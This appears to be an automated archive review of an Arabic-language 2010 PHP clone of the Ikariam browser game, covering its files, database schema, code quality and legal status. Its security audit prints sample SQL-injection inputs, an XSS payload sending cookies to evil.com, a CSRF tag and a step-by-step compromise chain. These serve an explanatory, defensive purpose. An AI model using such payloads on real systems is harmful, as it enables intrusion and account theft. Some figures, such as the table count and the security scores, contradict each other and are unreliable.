Raise a glittering island civilization inspired by the ancient Mediterranean. Grow prosperous cities, research breakthrough technologies, marshal armies and fleets, and collaborate with neighbors to erect awe-inspiring wonders. With distinct luxury resources, isometric world exploration, and richly themed buildings, every decision moves your polis from humble harbor to coastal powerhouse.
Trade marble and wine, colonize new shores, and strike at rivals with raids and occupations while your advisors track research, diplomacy, and high scores. From barracks and shipyards to academies and ports, your empire’s heartbeat is a careful balance of production, expansion, and military might across a living archipelago.
Directory: ikariam/
Primary Subdirectory: Ikariam/ (nested structure)
Initial Discovery Date: September 29, 2010 (SQL dump timestamp)
Version Identified: 0.1 (per file headers)
Developer: Prince 3 (credited in all file headers)
Developer Contact:
Copyright Statement: "Ikariama(c) 2010. All rights reserved."
Original Game Reference: Clone of Gameforge's "Ikariam" browser strategy game (launched 2008)
Language Context: Arabic interface (RTL layout), French database comments
Development Environment: MySQL 5.1.37, PHP 5.3.0, phpMyAdmin 3.2.1
License: No explicit license found (proprietary)
Important Context: This is a clone/replica of the commercial browser game "Ikariam" by Gameforge AG. The original Ikariam was a massively popular free-to-play strategy game where players build ancient Greek civilizations across Mediterranean islands. This implementation appears to be an unauthorized fan clone or private server, not official Gameforge code.
---
Total Files: 691
Total Size: ~7.5 MB
common.jscomplete-0.3.5.js (autocomplete library)Templates/js/ikariam.sql (main database schema, 693 lines)install/request.sql (installer copy).dat file, 1 PNG, 1 file with no extension
Ikariam/
├── action.php (main action router)
├── activate.php (account activation)
├── register.php (user registration)
├── index.php (login page - Arabic RTL)
├── core/ (backend classes)
│ ├── database/CMySql.php (database layer)
│ ├── CAccount.php (authentication)
│ ├── CSession.php (session management)
│ ├── CCity.php (city logic)
│ ├── CBuilding.php (building mechanics)
│ ├── CIsland.php (island/world map)
│ ├── CResearch.php (technology tree)
│ ├── CUnits.php (military units)
│ ├── CShips.php (naval units)
│ ├── CTransport.php (resource transport)
│ ├── CGenerator.php (world generation?)
│ ├── CForm.php (form validation)
│ ├── CMailer.php (email system)
│ ├── CLog.php (logging)
│ └── Config.php (configuration)
├── Templates/ (48 PHP templates)
│ ├── city.php, island.php, worldmap_iso.php
│ ├── barracks.php, shipyard.php (military)
│ ├── academy.php, researchAdvisor.php (tech)
│ ├── warehouse.php, port.php, transport.php
│ ├── highscore.php, diplomacyAdvisor.php
│ └── js/ (JavaScript helpers)
├── css/ (36 stylesheets)
├── img/ (560 images - UI, buildings, units, resources)
└── install/ (web installer)
Graphics-heavy strategy game with extensive UI assets (560 images). Building icons, unit sprites, resource graphics, island/map tiles all present. Suggests full visual implementation of Ikariam-style gameplay.
---
Object-Oriented MVC-like Pattern with class-based organization:
CCity, CBuilding, CIsland, CResearch, CUnits, CShips, etc.)Templates/ directoryaction.php, with specialized controllers like CAccount.phpcore/database/CMySql.php) - Database abstraction layermysql_connect(SQL_SERVER, SQL_USER, SQL_PASS)register(), checkExist(), updateUserField(), getUserField(), unreg()core/CAccount.php) - Authentication systemSignup(), Login(), Logout(), Activate(), Unreg()CForm classvalidEmail() methodcore/CSession.php) - Session managementCAccount.php$session object tracks logged_in stateCOOKIE_EXPIRE constant)core/CForm.php) - Form validation and error handlingaddError(), getError(), getValue(), getDiff()CCity - City management (buildings, resources, population)CBuilding - Building construction/upgradesCIsland - Island/world geographyCResearch - Technology research treeCUnits - Ground military unitsCShips - Naval units and fleet managementCTransport - Resource transport between citiescore/Config.php):
define("TRACK_USR", true); // User activity tracking
define("COOKIE_EXPIRE", 60<em>60</em>24*7); // 7-day session cookies
define("COOKIE_PATH", "/");
define("SQL_SERVER", "localhost");
define("SQL_USER", "root");
define("SQL_PASS", "0000"); // HARDCODED PASSWORD!
define("SQL_DB", "ikariam");
define("TB_PREFIX", "db_");
define("USER", 0); // Access levels
define("PLUS", 1); // Premium users
define("ADMIN", 2); // Administrators
Deprecated mysql_* functions (PHP 7.0+ incompatible):
mysql_connect() in core/database/CMySql.php line 17mysql_select_db(), mysql_query(), mysql_insert_id(), mysql_num_rows()action.php likely routes all game actions (not yet examined), with $_GET['action'] and $_GET['function'] parameters. Login page shows onsubmit="changeAction('login');" suggesting JavaScript form manipulation.
48 specialized templates map directly to game features:
city.php, citymap.php, citynavigator.php, buildingGround.phpbarracks.php, shipyard.php, cityMilitary-army.php, cityMilitary-fleet.phpwarehouse.php, port.php, transport.php, merchantNavy.php, tradegood.phpacademy.php, researchAdvisor.php, researchOverview.phpisland.php, worldmap_iso.php (isometric map!)diplomacyAdvisor.php, sendIKMessage.phppalace.php, townHall.php, museum.php, tavern.php, wall.phphighscore.php, options.php, premium.php, donate.phpIsometric Map: worldmap_iso.php suggests isometric rendering like original Ikariam's world map view.
---
Ancient Greek island civilization builder - players manage cities, gather resources, research technologies, build armies/navies, and compete for control of islands.
5 Basic Resources (from db_citydata table):
wood) - Primary construction materialwine) - Luxury trade good (island type 2)marble) - Advanced construction (island type 2)crystal) - Rare luxury good (island type 2)sulfur) - Military resource (island type 4)Additional Resources:
gold in db_users) - Currency (users start with 1,000 gold)ambrosia in db_users) - Premium currency (microtransaction system!)Resource Production:
db_wdata table has woodlevel, minelevel, wonderlevel - island-based production levelswooddonations, minedonations, wonderdonations - community contribution system (wonder building!)14 Building Slots per city (db_buildingsdata: b0 through b14):
b1t, b2t, etc.)b1 = level of building in slot 1)Key Buildings (inferred from templates):
townHall.php) - City administrationacademy.php) - Researchbarracks.php) - Ground unitsshipyard.php) - Naval unitswarehouse.php) - Resource storageport.php) - Trade/transportwall.php) - Defensepalace.php) - Government/diplomacymuseum.php) - Culture/wonderstavern.php) - Entertainment/moralesafehouse.php) - Espionage?workshop.php) - Productionforester.php) - Wood productionbranchOffice.php) - Trade15 Unit Types (db_units: u301 through u315):
7 Ship Types (db_bships: s210 through s216):
starttime, timestamp in db_bships)Combat Features:
db_barbarian table: uid, level, barbarians, wall)plunder.php template) - Attack other playersoccupy.php template) - Capture territoriesmilitaryAdvisorCombatReports.php)militaryAdvisorMilitaryMovements.php)Technology Tree (db_reasearches table: R1, R2, R3, R4):
researches field in db_users = total research points (user 'aaaa' has 7,586,379 research)Island Geography (db_wdata - "world data"):
itype): 2 = luxury resource, 4 = sulfurrtype): 'crystal', 'wine', 'sulfur', 'marble'p0 through p15 = player IDs occupying each slot)x, y) - world map positioningname): Examples: 'Cymios', 'Slaxios', 'Samuios', 'Lohios' (Greek-style names)wonderlevel, wonderdonations) - collaborative projectsSample Islands:
Multi-City System:
db_citydata table with 13 cities in sample datacolonize.php template - establish new coloniesrenameCity.php - customize city namesx, y), population (pop), capital status (capital)Trading Systems:
transport.php - Move resources between own citiesmerchantNavy.php - Trade fleet managementtradeAdvisor.php - Economic overviewtradegood.php - Trade luxury resourcesbranchOffice.php - Trading post building3 Score Categories (db_users):
building_score) - Construction achievementsresearch_score) - Technology advancementarmy_score) - Military strengthpoints) - Combined ranking (user 'aaaa' has 18,534 points)Leaderboards: highscore.php template
allyid field in db_users (currently 0 for all users in sample)diplomacyAdvisor.php templatesendIKMessage.php - In-game messagingMicrotransaction System:
ambrosia currency in db_users (default 0)premium.php templatedonate.php template (likely payment page)PLUS access level defined (value 1) for premium subscribersReal-time Presence (db_active table):
TRACK_USR config constant = true---
Total Tables: 18
Naming Convention: db_ prefix (TB_PREFIX constant)
Engine: MyISAM (all tables)
Charset: latin1 (NOT UTF-8 - internationalization problem for Arabic interface!)
username, timestampid, uid, level, barbarians, wallid, cid, pos, type, levelfrom, levelto, starttime, timestampid, cid, s210-s216 (7 ship types), starttime, timestampid, cid, starttime, timestampcid, b0-b14 (15 building slots), b0t-b13t (building types)cid, uid, x, y, name, capital, pop, wood, wine, marble, crystal, sulfur, gold, lastupdateid, name, x, y, restype (resource type)id, username, cid, type, fromcid, wood, wine, marble, crystal, sulfur, qnt, starttime, endtimeuid, R1, R2, R3, R4cid, r1-r4 (4 resource types), r1t-r4t (building types)id, cid, type, unit, starttime, endtimecid, s210-s216 (7 ship types)id, cid, type, unit, starttime, endtimecid, u301-u315 (15 unit types)id, username, password, email, access, act, sessid, ambrosia, gold, researches, points, building_score, research_score, army_score, allyid, ships, timestampid, itype, rtype, wid, isoccupied, x, y, p0-p15 (16 city slots), name, woodlevel, minelevel, wonderlevel, wooddonations, minedonations, wonderdonationsinstall/request.sql is exact copyModerate - Clear entity separation, but some issues:
starttime/endtime pattern)b0-b14, u301-u315, p0-p15) instead of normalized relationsNo foreign keys (MyISAM limitation) - referential integrity must be enforced in application code. Risk of orphaned records (e.g., deleting user doesn't cascade to cities).
---
Positives:
CClassName for classes, db_ for tables)core/, Templates/, css/, img/)Negatives:
include() statements$session, $database, $form, $mailer, $generator)
// Example from CMySql::register()
$q = "INSERT INTO ".TB_PREFIX."users (username,password,email,access,act) VALUES ('$username', '$password', '$email', ".USER.",'$act')";
if(mysql_query($q,$this->connection))
$uid = mysql_insert_id($this->connection);
else
$uid = 0;
Issues:
$uid, $username, $database)
$this->connection = mysql_connect(SQL_SERVER, SQL_USER, SQL_PASS) or die(mysql_error());
mysql_select_db(SQL_DB, $this->connection) or die(mysql_error());
Critical Flaws:
die() on database errors - crashes entire applicationCForm classcomplete-0.3.5.js (autocomplete)index.php)CAccount.php)b0-b14 requires multiple queries to modify)Estimated Hours: 400-480 hours ($30K-$36K at $75/hr)
Required Changes:
---
[] (PHP 5.4+)... (PHP 5.6+)?? (PHP 7.0+)Custom Framework vs Modern Standards:
complete-0.3.5.js)| Vulnerability | Status | Evidence |
|---|---|---|
| A1: Injection | CRITICAL | Direct SQL interpolation in CMySql class |
| A2: Broken Authentication | CRITICAL | MD5 passwords, no salting, 7-day cookies |
| A3: Sensitive Data Exposure | HIGH | Hardcoded DB password in Config.php |
| A4: XML External Entities | N/A | No XML processing observed |
| A5: Broken Access Control | ⚠️ MEDIUM | Access levels defined but enforcement unclear |
| A6: Security Misconfiguration | HIGH | die() exposes errors, no HTTPS enforced |
| A7: Cross-Site Scripting (XSS) | CRITICAL | ZERO htmlspecialchars() usage found |
| A8: Insecure Deserialization | N/A | No serialization observed |
| A9: Using Components with Known Vulnerabilities | CRITICAL | mysql_* extension, PHP 5.3.0 |
| A10: Insufficient Logging & Monitoring | HIGH | No logging except CLog class (not examined) |
Security Grade: F (0/10) - Production deployment would be criminally negligent.
---
This game has ZERO security features and would be compromised within hours of public deployment. It is a textbook example of every security anti-pattern from 2010.
---
Evidence (core/database/CMySql.php lines 21-33):
function register($username,$password,$email,$act) {
$q = "INSERT INTO ".TB_PREFIX."users (username,password,email,access,act) VALUES ('$username', '$password', '$email', ".USER.",'$act')";
if(mysql_query($q,$this->connection))
$uid = mysql_insert_id($this->connection);
else
$uid = 0;
$q = "INSERT INTO ".TB_PREFIX."reasearches (uid,R1,R2,R3,R4) VALUES ('$uid', '0', '0', '0')";
mysql_query($q,$this->connection);
$q = "INSERT INTO ".TB_PREFIX."barbarian VALUES (0,'$uid',1,1,0)";
mysql_query($q,$this->connection);
return $uid;
}
Impact: ZERO input sanitization, ZERO escaping, ZERO prepared statements. Every variable is directly interpolated into SQL queries.
Exploitation:
Username: admin' OR '1'='1
Password: anything
Email: x'); DROP TABLE db_users; --
Result: Instant database compromise. Attacker can:
Scope: 100% of database operations vulnerable (no sanitization found anywhere).
---
Evidence: grep_search found ZERO uses of htmlspecialchars()
Login page (index.php lines 73-74):
<input id="login" name="user" class="login" type="text" value="<?php echo $form->getDiff("user",$_COOKIE['COOKUSR']); ?>">
<input id="pwd" name="pw" class="pass" type="password" value="<?php echo $form->getValue("pw");?>" maxlength="20" autocomplete='off' />
Impact: User input from $_COOKIE and form values echoed directly into HTML without escaping.
Exploitation:
Cookie: COOKUSR=<script>document.location='http://evil.com/?c='+document.cookie</script>
Result: Attacker can:
Scope: All 48 templates likely vulnerable (zero sanitization standard observed).
---
Evidence (ikariam.sql line 628):
INSERT INTO <code>db_users</code> (<code>id</code>, <code>username</code>, <code>password</code>, <code>email</code>, ...) VALUES
(1, 'aaaa', '4a7d1ed414474e4033ac29ccb8653d9b', This email address is being protected from spambots. You need JavaScript enabled to view it. ', ...),
(7, 'cccc', '4a7d1ed414474e4033ac29ccb8653d9b', This email address is being protected from spambots. You need JavaScript enabled to view it. ', ...),
(6, 'bbbb', '4a7d1ed414474e4033ac29ccb8653d9b', This email address is being protected from spambots. You need JavaScript enabled to view it. ', ...);
Analysis:
Crack Time:
Hash: 4a7d1ed414474e4033ac29ccb8653d9b
Online MD5 lookup: INSTANT (common password)
Rainbow table: < 1 second
Dictionary attack: < 1 minute
Impact: All user passwords can be cracked immediately. Mass account compromise.
Modern Standard: password_hash() with bcrypt/Argon2 (PHP 5.5+, but code uses 5.3).
---
Evidence (core/Config.php lines 16-19):
define("SQL_SERVER", "localhost");
define("SQL_USER", "root");
define("SQL_PASS", "0000"); // ROOT PASSWORD IN SOURCE CODE!
define("SQL_DB", "ikariam");
Impact:
Attack Surface: If attacker gets source code (via backup, Git leak, LFI vulnerability), they get full database control.
---
Evidence (core/Config.php line 14):
define("COOKIE_EXPIRE", 60<em>60</em>24*7); // 7-day session cookies
Issues:
Exploitation: Attacker steals cookie via XSS → maintains access for 7 days even if user changes password.
---
Evidence (core/database/CMySql.php line 17):
$this->connection = mysql_connect(SQL_SERVER, SQL_USER, SQL_PASS) or die(mysql_error());
Impact: Database errors exposed directly to users via die(mysql_error()):
Warning: mysql_connect(): Access denied for user 'root'@'localhost'
Information Leaked:
Exploit: Attacker learns database configuration, aiding further attacks.
---
Evidence: No CSRF tokens found in examined forms (login form in index.php).
Impact: Attacker can forge requests from authenticated users:
<!-- Attacker's malicious page -->
<img src="http://ikariam-game.com/action.php?function=deleteCity&id=1">
Result: If logged-in user visits attacker's page, their city gets deleted (assuming such endpoint exists).
---
Evidence: No rate limiting code observed in CAccount::Login() or CAccount::Signup().
Impact:
---
Evidence (core/Config.php lines 22-24):
define("USER", 0);
define("PLUS", 1); // Premium users
define("ADMIN", 2); // Administrators
Concern: Access levels defined, but enforcement not yet verified. If access checks are missing in templates/actions, users could:
Requires further investigation of action.php and templates.
---
Evidence: mysql_* functions throughout codebase.
Impact: mysql_* extension removed in PHP 7.0 (January 2016):
Consequence: Even if code were sanitized, the underlying library has unpatched security holes.
---
Step 1 (30 seconds): SQL injection via registration form:
Username: admin' OR '1'='1' UNION SELECT password FROM db_users WHERE username='aaaa'--
Email: This email address is being protected from spambots. You need JavaScript enabled to view it.
→ Extract user 'aaaa' password hash (4a7d1ed414474e4033ac29ccb8653d9b)
Step 2 (10 seconds): Crack MD5 hash online:
→ Password revealed (likely 'aaaa' based on hash collision)
Step 3 (20 seconds): Login as 'aaaa' (appears to be admin with 18,534 points)
Step 4 (1 minute): SQL injection via in-game form (e.g., city rename, message send):
City Name: x'); UPDATE db_users SET access=2 WHERE username='attacker'--
→ Escalate own account to ADMIN (access=2)
Step 5 (3 minutes): Additional SQL injection to:
Total Time: 5 minutes from discovery to full compromise.
---
CRITICAL: This is an unauthorized clone of Gameforge AG's "Ikariam" game:
Consequence: Deploying this publicly would invite cease-and-desist letters and lawsuits from Gameforge AG (a German company with active legal teams).
Comparison: Similar to private World of Warcraft servers (which Blizzard aggressively shuts down).
---
Total Security Hardening: 280+ hours ($21,000+ at $75/hr)
VERDICT: This codebase is a security disaster that should NEVER be deployed publicly without complete rewrite + legal clearance.
---
worldmap_iso.php) - +1 Pointstarttime/endtime in multiple tables)db_bdata, db_bships, db_unit_training, db_ship_training)PLUS access level for subscriberspremium.php and donate.php templates for paymentsSubtotal: +3 points
---
b0-b14, u301-u315) instead of proper normalizationSubtotal: -6 points
---
Positive Aspects:
install/ directory)Negative Aspects:
---
2010 Browser Game Landscape:
This Game's Place: Ikariam (original) was highly successful (millions of players, still running in 2024). This clone attempts to replicate that success for Arabic-speaking markets, but:
---
| Game | Innovation | Security | Architecture | Legality |
|---|---|---|---|---|
| ezRPG | 9/10 | 8/10 | 9/10 | Legal (GPL v3) |
| Glory Lands | 9/10 | 8/10 | 9/10 | Legal (GPL v3) |
| ikariam | 3/10 | 0/10 | 6/10 | Illegal Clone |
| Grand Theft Auto RPG | 2/10 | 0/10 | 3/10 | Legal (GPL) |
Verdict: Ikariam clone sits between "catastrophic security" games (GTA RPG) and professional frameworks (ezRPG, Glory Lands), but legal issues disqualify it from serious use.
---
Original Code: ~0%
Original Game Design: 0%
Original Assets: Unknown (likely copied from Ikariam or generic asset packs)
The only "creativity" is:
This is reverse-engineering/cloning, not innovation.
---
| Category | Score | Notes |
|---|---|---|
| Game Design | 0/10 | Cloned from Ikariam |
| Technical Architecture | 5/10 | Decent OOP, but outdated |
| Security Innovation | 0/10 | Zero security features |
| UI/UX | 4/10 | RTL Arabic is good localization effort |
| Monetization | 6/10 | Premium currency in 2010 was early |
| Community Features | 5/10 | Alliances, messaging, highscores (standard) |
| Legal Innovation | 0/10 | Infringes Gameforge's IP |
OVERALL: 3/10 - Competent implementation of stolen game design with catastrophic security flaws.
---
---
---
IF this were legally cleared (e.g., Gameforge licensed it, or complete rebrand with original assets):
Pros:
Cons:
Verdict: Only viable if:
---
Goal: Make functional on modern PHP, patch critical security holes
Tasks:
Result: Game runs on PHP 7.4+, survives basic attacks (but still vulnerable to advanced exploits)
Verdict: Not recommended - throwing money at legally infringing code
---
Archive Status: TIER 3 - Historical Example Only
Rationale:
Preservation Actions:
unzipped/ archive---
If User Wants to Build a Strategy Game:
---
ikariam Clone: ⚠️ DO NOT USE
Reasons:
Best Use: Security training lab (isolated VM only) + historical documentation (this analysis)
Recommendation: Archive, document, move on to legal alternatives (ezRPG, Glory Lands, or build original game)
---
| Metric | Value | Notes |
|---|---|---|
| Files | 691 | 87 PHP, 560 images, 36 CSS, 3 JS |
| Database Tables | 18 | MyISAM, latin1, 693-line SQL dump |
| Lines of Code | ~8,000 (estimated) | 87 PHP files @ ~100 lines avg |
| Development Date | Sept 29, 2010 | Per SQL dump timestamp |
| PHP Version | 5.3.0 | EOL August 2014 (10+ years obsolete) |
| Security Rating | 0/10 | Zero protection, instant compromise |
| Innovation Rating | 3/10 | Clone of Ikariam with Arabic UI |
| Code Quality | 5/10 | Decent OOP, zero documentation |
| Modernization Cost | $36,000 | 480 hours for complete rewrite |
| Legal Status | Illegal | Unauthorized Gameforge IP clone |
| Preservation Tier | Tier 3 | Historical example, do not deploy |
---
Analysis Complete: Game 31 of 79 (39.2% progress)
Next Game: Continue to kallen/
| Category | Rating | Commentary |
|---|---|---|
| Innovation & Originality | ★☆☆☆☆☆☆☆☆☆ 1/10 | Direct clone of Gameforge's Ikariam - zero originality, pure reverse engineering |
| Code Quality | ★★★★☆☆☆☆☆☆ 4/10 | Functional clone with OOP structure but 2010 security practices, mixed languages |
| Security Posture | ★★☆☆☆☆☆☆☆☆ 2/10 | Typical 2010 vulnerabilities, French comments suggest rushed development |
| Documentation | ★★☆☆☆☆☆☆☆☆ 2/10 | No README, only French database comments, Arabic UI undocumented |
| Gameplay Design | ★★★★★★☆☆☆☆ 6/10 | Accurate clone of Ikariam mechanics (buildings, research, combat, trading) |
| Technical Architecture | ★★★★★☆☆☆☆☆ 5/10 | Core/ classes show structure, 38 tables complex, template system functional |
| Completeness | ★★★★★★★☆☆☆ 7/10 | Most Ikariam features implemented: cities, islands, research, military, trading |
| Historical Significance | ★★★★★★★☆☆☆ 7/10 | Documents private server culture, Arabic localization effort, Ikariam popularity |
| Preservation Value | ★★★★★★☆☆☆☆ 6/10 | Important for private server history, Arabic gaming community documentation |
Summary: Ikariam clone v0.1 is an unauthorized fan replica of Gameforge's popular browser strategy game Ikariam (2008), developed by "Prince 3" (
Running many of the scripts in this archive on a live server presents a serious security risk. These projects were created before modern hardening practices and may contain vulnerabilities that can compromise your system.
We strongly recommend using this code for reference and analysis only, or in isolated local environments. By downloading these files, you accept full responsibility for their use.